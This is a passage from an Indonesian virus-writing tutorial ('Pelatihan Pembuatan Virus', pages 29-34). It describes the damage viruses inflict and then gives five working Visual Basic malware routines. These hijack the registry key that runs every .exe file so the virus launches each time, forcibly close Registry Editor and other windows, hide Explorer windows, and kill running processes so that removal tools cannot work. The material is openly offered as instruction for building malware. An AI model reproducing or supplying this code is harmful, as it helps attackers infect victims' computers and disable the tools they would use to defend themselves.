Pelatihan Pembuatan Virus
Serangan The Black VB
Serangan Setelah virus tersebut melakukan penggandaan ke system, mengubah registry. baru virus tersebut melakukan penyerangan (pengerusakan). Serangan virus ini yang sangat ditakuti oleh pengguna computer. Tetapi jika virus tersebut hanya melakukan penyebaran itu bukan masalah karena tidak melakukan pengerusakan. Bentuk-bentuk serangan (pengerusakan) yang dilakukan virus: 1. Menghapus, memindahkan, menyembunyikan dan mengerusak isi file 2. Infeksi terhadap file, biasanya virus melakukan ini untuk melindungi dirinya dengan cara menempel dirinya pada file yang ingin di infeksi. Biasanya file *.exe, *.com, *.scr , *.doc, *.xls. 3. Penyembunyian partisi, memformat partisi dan menghapus partisi, bagian pengerusakan yang sangat merugikan orang lain. 4. Melakukan komunikasi yang terhadap hardware untuk mengacaukan kinerja suatu hardware sehingga memungkinkan terjadi pengerusakan terhadap hardware tersebut. Biasanya yang menjadi sasaran adalah RAM. 5. Mematikan aplikasi-aplikasi tertentu., hal ini sangat membuat kesal orang yang terserang, karena aplikasi tersebut tidak dapat dijalankan karena aplikasi tersebut telah dimatikan oleh virus. Biasanya aplikasi yang dimatikan tersebut adalah aplikasi yang berhubungan dengan registry, process manager dan antivirus. Bentuk-bentuk serangan diatas adalah bentuk serangan yang paling sering digunakan oleh virus untuk melakukan pengerusakan atau untuk melindungi dirinya dari berbagai macam kemungkinan yang dapat membinasakan dirinya. Menghapus, memindahkan dan menyembunyikan file merupakan hal yang sangat sering digunakan oleh virus. Bahkan hampir semua virus menggunakan tehnik ini untuk melakukan pengerusakan. Sangat merugikan orang lain adalah menghapus file dan mengerusak isi file. Infeksi terhadap file exe, com, dan scr sangat jarang ditemukan. Karena tehnik ini cukup sulit dilakukan. Sehingga jarang sekali virus yang menggunakan tehnik ini. Contoh virus yang menggunakan tehnik ini adalah ITZ. Melakukan komunikasi terhadap hardware juga sangat jarang. Misalnya mengacaukan alamat Port yang ada. Kalau sederhananya mengacau fungsi keyboard dan mouse. Kalau pada keyboard biasanya akan melakukan perubahan kode ascii sehingga apa ditampilkan tidak sesuai dengan diketikan. Sedangkan pada mouse adalah melakukan pergerakan cursor mouse secara otomatis tanpa dikendalikan dan melakukan fungsi pengeclick secara acak. Mematikan aplikasi-aplikasi tertentu. Saat ini hampir semua jenis virus memiliki kemampuan ini untuk melindungi dirinya sehingga sulit bagi antivirus atau program sejenis untuk berjalan, karena jika aplikasi tersebut berjalan maka sang virus akan langsung mematikan aplikasi tersebut. DNA [eXTR!M] Memori Club
Page 29
Pelatihan Pembuatan Virus
Serangan The Black VB
Berikut ini adalah beberapa kode yang dapat digunakan virus untuk melakukan penyerangan. Kode Penyerangan1: Siapkan satu buah form Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _ ByVal cbData As Long) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _ As Long Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _ ByVal bFailIfExists As Long) As Long Private Declare Function SetFileAttributes Lib "kernel32" Alias _ "SetFileAttributesA" (ByVal lpFileName As String, _ ByVal dwFileAttributes As Long) As Long Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum Enum TypeStringValue REG_SZ = 1 REG_EXPAND_SZ = 2 REG_MULTI_SZ = 7 End Enum Dim lokasi As String Dim namafile As String Private Sub Form_Load() With App lokasi = .Path & "\" namafile = .EXEName & ".exe" End With CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", _ REG_SZ, "", Chr(&H22) & lokasi & namafile & Chr(&H22) & " " & Chr(&H22) & _ "%1" & Chr(&H22) & " %*" 'Jika parameter pemanggilan virus tidak sama dengan kosong If Command$ <> "" Then If InStr(1, Command$, "Setup") <> 0 _ Or InStr(1, Command$, "winzip") <> 0 _ Or InStr(1, Command$, "Anti") <> 0 _ Or InStr(1, Command$, "virus") <> 0 _
DNA [eXTR!M] Memori Club
Page 30
Pelatihan Pembuatan Virus
Serangan The Black VB
Or InStr(1, Command$, "Regedit") <> 0 _ Or InStr(1, Command$, "word") <> 0 Then Shell Command$, vbNormalFocus DoEvents End If End If 'jalankan sekali saja If App.PrevInstance Then End End Sub 'Create or Set String Value Registry Private Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long On Error Resume Next Dim ret As Long RegCreateKey hKey, Subkey, ret CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData)) RegCloseKey ret End Function
Kode penyerangan2: Siapkan satu buah form dan satu buah timer dengan Interval=100. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Const WM_CLOSE = &H10 Private Sub Timer1_Timer() Dim FW As Long FW = FindWindow(vbNullString, "Registry Editor") If FW Then SendMessage FW, WM_CLOSE, 0, 0 End Sub
Kode Penyerangan3: Siapkan satu buah form dan satu buah timer dengan Interval=100.
Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _ lParam As Any) As Long Private Const WM_CLOSE = &H10 Private Const WM_GETTEXT = &HD
DNA [eXTR!M] Memori Club
Page 31
Pelatihan Pembuatan Virus
Serangan The Black VB
Private Sub Timer1_Timer() Dim FW As Long FW = GetForegroundWindow If FW Then Dim buff As String * 255 SendMessage FW, WM_GETTEXT, 255, ByVal buff buff = Left$(buff, InStr(1, buff, Chr$(0)) - 1) If InStr(1, UCase(buff), "REG") <> 0 _ Or InStr(1, UCase(buff), "WIN") <> 0 Then SendMessage FW, WM_CLOSE, 0, 0 End If End If End Sub
Kode Penyerangan4: Siapkan satu buah form dan satu buah timer dengan Interval=100. Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _ ByVal nCmdShow As Long) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _ lParam As Any) As Long Private Const WM_GETTEXT = &HD Private Const SW_HIDE = 0 Private Sub Timer1_Timer() Dim FW1 As Long Dim FW2 As Long FW1 = FindWindow("ExploreWClass", vbNullString) FW2 = FindWindow("CabinetWClass", vbNullString) If FW1 <> 0 Or FW2 <> 0 Then Dim cap1 As String * 255 Dim cap2 As String * 255 SendMessage FW1, WM_GETTEXT, 255, ByVal cap1 SendMessage FW2, WM_GETTEXT, 255, ByVal cap2 cap1 = Left$(cap1, InStr(1, cap1, Chr$(0)) - 1) cap2 = Left$(cap2, InStr(1, cap2, Chr$(0)) - 1) If InStr(1, UCase(cap1), "WINDOWS") Then ShowWindow FW1, SW_HIDE End If If InStr(1, UCase(cap2), "WINDOWS") Then ShowWindow FW2, SW_HIDE End If End If
DNA [eXTR!M] Memori Club
Page 32
Pelatihan Pembuatan Virus
Serangan The Black VB
End Sub
Kode Penyerangan5: Siapkan satu buah form, satu buah timer dengan Interval=100 dan satu buah module. Ketikan pada form1: Private Sub Timer1_Timer() TaskProses End Sub Ketikan pada module:
Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Public Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Public Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long) Public Declare Function TerminateProcess Lib "kernel32" _ (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Public Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Public Declare Function LockWindowUpdate Lib "user32" _ (ByVal hwndLock As Long) As Long Public Const TH32CS_SNAPHEAPLIST = &H1 Public Const TH32CS_SNAPPROCESS = &H2 Public Const TH32CS_SNAPTHREAD = &H4 Public Const TH32CS_SNAPMODULE = &H8 Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS _ Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE) Public Const TH32CS_INHERIT = &H80000000 Public Const MAX_PATH As Integer = 260 Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH
DNA [eXTR!M] Memori Club
Page 33
Pelatihan Pembuatan Virus
Serangan The Black VB
End Type Public Sub TaskProses() Dim hSnapShot As Long, uProcess As PROCESSENTRY32, R As Long Dim hProcess As Long, NamaFile As String hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&) uProcess.dwSize = Len(uProcess) R = Process32First(hSnapShot, uProcess) Do While R NamaFile = uProcess.szExeFile NamaFile = Left$(NamaFile, InStr(1, NamaFile, Chr$(0)) - 1) If LCase(NamaFile) = "notepad.exe" Then CloseHandle hSnapShot hProcess = OpenProcess(&H1F0FFF, False, uProcess.th32ProcessID) x = TerminateProcess(hProcess, 0) Exit Do End If R = Process32Next(hSnapShot, uProcess) Loop CloseHandle hSnapShot End Sub
DNA [eXTR!M] Memori Club
Page 34